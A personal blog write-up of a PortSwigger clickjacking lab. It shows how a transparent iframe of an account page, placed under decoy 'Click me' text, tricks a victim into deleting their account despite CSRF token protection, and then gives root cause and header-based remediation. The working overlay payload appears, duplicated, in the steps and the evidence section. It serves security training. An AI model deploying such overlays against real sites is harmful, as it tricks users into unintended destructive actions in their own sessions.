June 23, 2026
Hiding in Plain Sight: My First Clickjacking Lab on PortSwigger
After finishing all nine labs in the XSS track, I moved on to a completely different category: Clickjacking. This first lab pairs a delete…

By Diya
5 min read
After finishing all nine labs in the XSS track, I moved on to a completely different category: Clickjacking. This first lab pairs a delete account function with CSRF token protection, which sounds solid on paper, but the attack doesn't go anywhere near forging that token. Here's how it went.
Category: Clickjacking
Difficulty: Apprentice
Lab Link: Basic clickjacking with CSRF token protection
Objective
Craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.
Vulnerability Overview
This lab demonstrates a clickjacking vulnerability, where a page can be embedded inside an iframe from a completely different origin because no response header restricts framing. By layering a transparent iframe of a legitimate, authenticated page underneath a decoy interface, an attacker can trick a victim into clicking something they never intended to interact with. The interesting part here is that the target action, deleting the account, is protected by a CSRF token, yet that protection does nothing against this attack, since the victim's own browser is the one submitting the form, token included.
Steps to Reproduce
- The lab provides credentials to log in with:
wiener/peter. After logging in, the My Account page shows two actions, Update email and Delete account, with the Delete account button sitting at the bottom of the page.
- The lab's exploit server is where the malicious HTML page gets built and later delivered to a simulated victim. By default, the Body field contains a placeholder,
Hello, world!, which needs to be replaced with the clickjacking payload.
- The payload stacks two layers: an iframe loading the real My Account page underneath, and a decoy
<div>on top with clickable looking text. The trick is making the iframe transparent enough that the victim only sees the decoy text, while their click actually lands on whatever sits underneath it in the iframe.
Getting the position right on the first try wasn't realistic, so the first version intentionally used a low opacity instead of a fully invisible one, just enough to still see the account page faintly while figuring out the right coordinates:
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:550px;
left:60px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe src="https://0aa400b904635ed48325969000290033.web-security-academy.net/my-account"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:550px;
left:60px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe src="https://0aa400b904635ed48325969000290033.web-security-academy.net/my-account"></iframe>
After storing this and clicking View exploit, the My Account page showed through faintly, with the Test me div floating somewhere on top of it. To check whether it actually lined up with the Delete account button, hovering the mouse over Test me and watching the cursor was enough: a pointer cursor confirms there is a clickable element directly underneath.
- Once the alignment was confirmed, the opacity was dropped from 0.1 to 0.0001, low enough that the iframe is effectively invisible, and the decoy text was changed from Test me to Click me, matching what the victim is actually meant to see.
After clicking Store and View exploit, the page renders with no visible trace of the account page underneath, just the decoy text sitting on its own.
- With the final payload stored, clicking Deliver exploit to victim simulates a victim clicking the decoy text, which actually lands on the hidden Delete account button underneath. The lab flips to solved right after.
Technical Evidence
Final payload delivered to the victim:
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:550px;
left:60px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe src="https://0aa400b904635ed48325969000290033.web-security-academy.net/my-account"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:550px;
left:60px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe src="https://0aa400b904635ed48325969000290033.web-security-academy.net/my-account"></iframe>The iframe loads the real, authenticated account page from the target origin, while the CSS makes it nearly invisible and positions it precisely under the decoy text. The victim's browser sends the request exactly as if they had clicked the button themselves, CSRF token included, because the form submission genuinely originates from their own authenticated session.
Root Cause
The application never sends a header that restricts framing, no X-Frame-Options and no Content-Security-Policy with a frame-ancestors directive. Without either of those, any page on the site, including the account page, can be embedded inside an iframe on an attacker-controlled origin. The CSRF token guards against forged cross-origin requests, but it has nothing to do with whether the page itself can be framed and visually manipulated, so it offers no protection against this kind of attack.
Impact
Because the iframe carries the victim's real, logged-in session, any action available on the framed page can potentially be triggered without the victim's knowledge. In this lab, the consequence was account deletion, but the same overlay technique could be used to trick users into changing settings, approving requests, or performing other unintended actions, all while they believe they are interacting with an unrelated decoy page.
Remediation
To prevent this type of vulnerability, the application should:
- Set the
X-Frame-Optionsheader toDENYorSAMEORIGINon sensitive pages, so browsers refuse to render them inside a frame from another origin. - Implement a
Content-Security-Policyheader with aframe-ancestorsdirective, the more modern and flexible replacement forX-Frame-Options. - Avoid relying on JavaScript-based frame-busting scripts, since these are often unreliable and can be bypassed, unlike proper HTTP header protections.
- Require re-authentication for irreversible actions, such as asking the user to re-enter their password before deleting an account, as a defense-in-depth measure regardless of framing protections.
Conclusion
Coming straight from nine XSS labs into this one was a nice change of pace. No payloads to inject, no sinks to chase down in the source code, just CSS positioning and patience until the invisible layer lined up with the right pixel. It also reframed how I think about CSRF tokens: solid protection against forged requests, but never designed to stop someone from tricking a real user into clicking the wrong thing on their own already-authenticated session. Different vulnerability class, completely different mindset needed to solve it.